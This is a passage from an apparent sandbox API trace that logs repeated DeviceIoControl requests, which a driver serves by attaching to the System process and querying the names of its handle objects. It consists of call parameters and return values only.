Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.582] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0119.582] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.582] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.582] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.582] PsAcquireProcessExitSynchronization () returned 0x0 [0119.582] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.582] ObReferenceObjectByHandle (in: Handle=0xffffffff80000760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022d26b0, HandleInformation=0x0) returned 0x0 [0119.582] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.582] PsReleaseProcessExitSynchronization () returned 0x2 [0119.582] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.582] ObQueryNameString (in: Object=0xfffffa80022d26b0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.582] ObfDereferenceObject (Object=0xfffffa80022d26b0) returned 0x2 [0119.582] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.582] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.582] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.582] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.582] PsAcquireProcessExitSynchronization () returned 0x0 [0119.582] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.582] ObReferenceObjectByHandle (in: Handle=0xffffffff8000076c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80026b28a0, HandleInformation=0x0) returned 0x0 [0119.582] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.582] PsReleaseProcessExitSynchronization () returned 0x2 [0119.582] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.582] ObQueryNameString (in: Object=0xfffffa80026b28a0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.582] ObfDereferenceObject (Object=0xfffffa80026b28a0) returned 0x2 [0119.582] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.583] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0119.583] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.583] PsAcquireProcessExitSynchronization () returned 0x0 [0119.583] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.583] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0119.583] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.583] PsReleaseProcessExitSynchronization () returned 0x2 [0119.583] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.583] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.583] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0119.583] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.583] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.583] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.583] PsAcquireProcessExitSynchronization () returned 0x0 [0119.583] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.583] ObReferenceObjectByHandle (in: Handle=0xffffffff80000774, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037b4510, HandleInformation=0x0) returned 0x0 [0119.583] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.583] PsReleaseProcessExitSynchronization () returned 0x2 [0119.583] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.583] ObQueryNameString (in: Object=0xfffffa80037b4510, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.583] ObfDereferenceObject (Object=0xfffffa80037b4510) returned 0x2 [0119.583] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.583] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.583] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.583] PsAcquireProcessExitSynchronization () returned 0x0 [0119.583] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.583] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fa7bf0, HandleInformation=0x0) returned 0x0 [0119.584] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.584] PsReleaseProcessExitSynchronization () returned 0x2 [0119.584] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.584] ObQueryNameString (in: Object=0xfffffa8001fa7bf0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.584] ObfDereferenceObject (Object=0xfffffa8001fa7bf0) returned 0x2 [0119.584] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.584] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.584] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.584] PsAcquireProcessExitSynchronization () returned 0x0 [0119.584] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.584] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002890f20, HandleInformation=0x0) returned 0x0 [0119.584] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.584] PsReleaseProcessExitSynchronization () returned 0x2 [0119.584] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.584] ObQueryNameString (in: Object=0xfffffa8002890f20, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.584] ObfDereferenceObject (Object=0xfffffa8002890f20) returned 0x2 [0119.584] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.584] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.584] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.584] PsAcquireProcessExitSynchronization () returned 0x0 [0119.584] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.584] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800ed43f20, HandleInformation=0x0) returned 0x0 [0119.584] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.584] PsReleaseProcessExitSynchronization () returned 0x2 [0119.584] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.584] ObQueryNameString (in: Object=0xfffffa800ed43f20, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.584] ObfDereferenceObject (Object=0xfffffa800ed43f20) returned 0x2 [0119.584] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.584] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.585] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.585] PsAcquireProcessExitSynchronization () returned 0x0 [0119.585] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.585] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002173f20, HandleInformation=0x0) returned 0x0 [0119.585] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.585] PsReleaseProcessExitSynchronization () returned 0x2 [0119.585] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.585] ObQueryNameString (in: Object=0xfffffa8002173f20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.585] ObfDereferenceObject (Object=0xfffffa8002173f20) returned 0x2 [0119.585] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.585] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.585] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.585] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.585] PsAcquireProcessExitSynchronization () returned 0x0 [0119.585] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.585] ObReferenceObjectByHandle (in: Handle=0xffffffff8000078c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0119.585] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.585] PsReleaseProcessExitSynchronization () returned 0x2 [0119.585] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.585] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.585] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0119.586] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.586] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.586] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.586] PsAcquireProcessExitSynchronization () returned 0x0 [0119.586] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.586] ObReferenceObjectByHandle (in: Handle=0xffffffff8000079c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002584280, HandleInformation=0x0) returned 0x0 [0119.586] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.586] PsReleaseProcessExitSynchronization () returned 0x2 [0119.586] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.586] ObQueryNameString (in: Object=0xfffffa8002584280, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.586] ObfDereferenceObject (Object=0xfffffa8002584280) returned 0x2 [0119.586] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.586] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.586] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.586] PsAcquireProcessExitSynchronization () returned 0x0 [0119.586] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.586] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0119.586] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.586] PsReleaseProcessExitSynchronization () returned 0x2 [0119.586] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.586] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.586] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0119.586] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.586] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.586] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.586] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.586] PsAcquireProcessExitSynchronization () returned 0x0 [0119.586] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.587] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0119.587] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.587] PsReleaseProcessExitSynchronization () returned 0x2 [0119.587] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.587] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.587] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0119.587] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.587] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.587] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.587] PsAcquireProcessExitSynchronization () returned 0x0 [0119.587] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.587] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80027e3900, HandleInformation=0x0) returned 0x0 [0119.587] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.587] PsReleaseProcessExitSynchronization () returned 0x2 [0119.587] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.587] ObQueryNameString (in: Object=0xfffffa80027e3900, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.587] ObfDereferenceObject (Object=0xfffffa80027e3900) returned 0x2 [0119.587] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.587] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.587] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.587] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.587] PsAcquireProcessExitSynchronization () returned 0x0 [0119.587] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.587] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002191330, HandleInformation=0x0) returned 0x0 [0119.587] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.587] PsReleaseProcessExitSynchronization () returned 0x2 [0119.587] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.587] ObQueryNameString (in: Object=0xfffffa8002191330, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.587] ObfDereferenceObject (Object=0xfffffa8002191330) returned 0x2 [0119.587] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.587] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.588] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.588] PsAcquireProcessExitSynchronization () returned 0x0 [0119.588] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.588] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800218eaa0, HandleInformation=0x0) returned 0x0 [0119.588] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.588] PsReleaseProcessExitSynchronization () returned 0x2 [0119.588] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.588] ObQueryNameString (in: Object=0xfffffa800218eaa0, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.588] ObfDereferenceObject (Object=0xfffffa800218eaa0) returned 0x2 [0119.588] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.588] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.588] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, 